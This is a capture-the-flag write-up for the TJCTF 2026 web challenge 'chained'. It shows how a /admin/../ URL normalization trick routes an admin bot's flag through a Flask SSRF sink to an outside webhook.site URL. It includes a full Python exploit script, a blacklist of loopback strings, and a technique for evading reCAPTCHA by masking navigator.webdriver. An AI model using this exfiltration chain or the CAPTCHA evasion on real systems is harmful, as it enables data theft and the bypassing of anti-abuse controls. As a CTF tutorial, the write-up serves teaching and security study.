chained
Author: Jordan Lanham Event: TJCTF 2026 Category: web Date: May 15, 2026 Read Time: 6 minutes
Overview
A Flask app and a Playwright "admin bot" chained together: the bot only navigates to URLs matching ^https://chained.tjc.tf/admin/, and it appends the flag to the URL you submit. The Flask /admin endpoint is locked to 127.0.0.1, but / blindly SSRFs whatever you put in the url GET param after a string blacklist. By submitting https://chained.tjc.tf/admin/../?url=<webhook>, Chromium normalizes /admin/../ away before sending the request, so Flask never sees .., passes isSafe(), and then requests.get()'s our webhook with the flag in the URL.
Challenge Description
i designed my own admin bot! and i included an admin page that should be super duper secure... running on port 5000 https://chained.tjc.tf | https://admin-bot.tjctf.org/chained
Files provided: app.py, index.html, admin-bot.js
Endpoints: https://chained.tjc.tf (Flask app) and https://admin-bot.tjctf.org/chained (admin-bot URL submission form, gated by reCAPTCHA v2 invisible)
Initial Analysis
Three artifacts to read together:
app.py — two routes:
def isSafe(url):
blacklist={'127','local','2130706433','017700000001','::1','0.0.0.0',
'[::]','ffff','0.0.0.0','0x','..','%2e%2e','@'}
return all([i not in url.lower() for i in blacklist])
@app.route('/', methods=['GET','POST'])
def index():
if POST: if not isSafe(url): denied; return redirect(url_for('index', url=url))
url = args.get('url') or ''
if url:
try: req = 'Your response: ' + requests.get(url).text
except: return 'Uh-oh...'
...
@app.route('/admin')
def js():
if request.remote_addr != '127.0.0.1': return 'Access denied...'
return request.args.get("q",""), 200, {'Content-Type':'application/javascript'}
The / route is a textbook SSRF behind a substring blacklist. /admin reflects the q param as JavaScript but is only reachable from 127.0.0.1.
admin-bot.js — the headless bot:
urlRegex: /^https:\/\/chained\.tjc\.tf\/admin\//,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto(url + flag, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
}
Two crucial mechanics:
- The bot validates the URL with the regex against the raw string you submit (must start with
/admin/). - The bot then calls
page.goto(url + flag, ...)— concatenating the flag onto your URL as a string, then handing it to Chromium, which will normalize the URL before issuing any HTTP request.
Solution Approach
Step 1: Reconnaissance
Fetched the live https://chained.tjc.tf — matches the source. Verified the SSRF primitive directly:
GET /?url=https://example.com/
-> renders Example Domain HTML inside the page (server-side requests.get)
isSafe() looks for substrings in the URL. The blacklist's job is to stop SSRF to localhost/127.0.0.1 (so an attacker can't pivot to /admin and read the flag-as-JS reflection). But the flag is delivered by the bot, not by /admin reflection — so the relevant primitive is "make the bot hit a URL we control with the flag in it."
Step 2: Vulnerability Identification
The flag concatenation is the weak link. The bot does:
page.goto( <attacker_url> + <flag> )
If we can make <attacker_url> syntactically match /admin/... (to pass urlRegex) but semantically resolve to a different origin or a different path after the browser normalizes it, we win.
The classic trick: https://chained.tjc.tf/admin/../?url=<exfil>. The regex /^https:\/\/chained\.tjc\.tf\/admin\// matches the raw string, but Chromium's URL parser collapses /admin/.. -> `` before sending the request. The browser actually fetches:
https://chained.tjc.tf/?url=<exfil><flag>
That hits the Flask / route. isSafe() runs on <exfil><flag>. Our webhook URL contains none of 127, local, .., @, etc. -- passes. Server runs requests.get("<exfil><flag>"). The webhook now has the flag in its access log.
Step 3: Exploitation
Generated a webhook.site token via their API:
POST https://webhook.site/token -> uuid 6a7de3de-ca0e-4bcd-b44c-0fb170f9587b
Built the payload submitted to the admin bot:
https://chained.tjc.tf/admin/../?url=https://webhook.site/6a7de3de-ca0e-4bcd-b44c-0fb170f9587b?leak=
When the bot appends the flag and Chromium normalizes:
page.goto -> https://chained.tjc.tf/?url=https://webhook.site/<uuid>?leak=tjctf{...}
Flask -> requests.get("https://webhook.site/<uuid>?leak=tjctf{...}")
The submission form on admin-bot.tjctf.org/chained is gated by Google reCAPTCHA v2 invisible. Rather than fight a CAPTCHA service, I drove the form with a headed Playwright Chromium with a real UA and navigator.webdriver masked — invisible v2 happily passes that fingerprint.
Step 4: Flag Extraction
After submitting, polled https://webhook.site/token/<uuid>/requests?sorting=newest. Within ~10 seconds the most recent request URL was:
https://webhook.site/6a7de3de-ca0e-4bcd-b44c-0fb170f9587b?leak=tjctf%7Bch41n3d_o340e934l35d%7D
URL-decoded query string is the flag.
Code / Exploit
#!/usr/bin/env python3
"""TJCTF 2026 - chained: SSRF via path-traversal normalization in the admin bot."""
import time, json, re, urllib.request, urllib.parse
from playwright.sync_api import sync_playwright
WEBHOOK_UUID = "6a7de3de-ca0e-4bcd-b44c-0fb170f9587b"
WEBHOOK_URL = f"https://webhook.site/{WEBHOOK_UUID}"
ADMIN_BOT = "https://admin-bot.tjctf.org/chained"
PAYLOAD = f"https://chained.tjc.tf/admin/../?url={WEBHOOK_URL}?leak="
def submit(payload):
with sync_playwright() as p:
b = p.chromium.launch(headless=False,
args=["--disable-blink-features=AutomationControlled"])
ctx = b.new_context(
user_agent=("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/126.0.0.0 Safari/537.36"),
viewport={"width": 1280, "height": 800})
page = ctx.new_page()
page.add_init_script(
"Object.defineProperty(navigator,'webdriver',{get:()=>undefined})")
page.goto(ADMIN_BOT, wait_until="domcontentloaded")
page.fill('input[name="url"]', payload)
time.sleep(4) # let grecaptcha init
page.click('button[type="submit"]') # invisible v2 fires here
time.sleep(15) # bot visits our URL
b.close()
def poll():
api = f"https://webhook.site/token/{WEBHOOK_UUID}/requests?sorting=newest"
for _ in range(30):
d = json.loads(urllib.request.urlopen(api, timeout=10).read())
for r in d.get("data", []):
m = re.search(r"tjctf\{[^}]*\}", urllib.parse.unquote(r.get("url","")))
if m: return m.group(0)
time.sleep(3)
submit(PAYLOAD)
print("FLAG:", poll())
Technical Details
- Vulnerability class: SSRF via URL-parser normalization differential (regex sees raw string, browser sees canonicalized URL) + insufficient substring blacklist.
- Encryption / encoding: none — pure URL semantics.
- Protocol: HTTPS; Chromium URL parsing per WHATWG URL Standard collapses
/segment/..before issuing the network request. - Key trick:
/admin/../satisfies^https://chained.tjc.tf/admin/(raw regex) but Chromium normalizes it to/before hitting Flask, so the flag flows through Flask's SSRF sink instead of the locked-down/adminpage.
Key Insights
- Any time a security check runs against a raw URL string but a different component later parses that URL, look for a parser-differential bypass:
..,@,#, mixed schemes, IDN, percent-encoding, etc. - Substring blacklists for SSRF (
isSafe()here) are nearly always bypassable. The real defense is allowlisting the destination host or doing DNS resolution + private-range checks beforerequests.get. - Admin-bot challenges where the bot does
page.goto(user_url + flag)are a recognizable pattern: get the bot to navigate to your URL while still satisfying the regex, and the flag arrives in your access log. - reCAPTCHA v2 invisible isn't actually a wall against authorized red-team work — a headed real-Chromium session with a clean UA and
navigator.webdrivermasked passes the fingerprint check on first-party origins.
The Flag
tjctf{ch41n3d_o340e934l35d}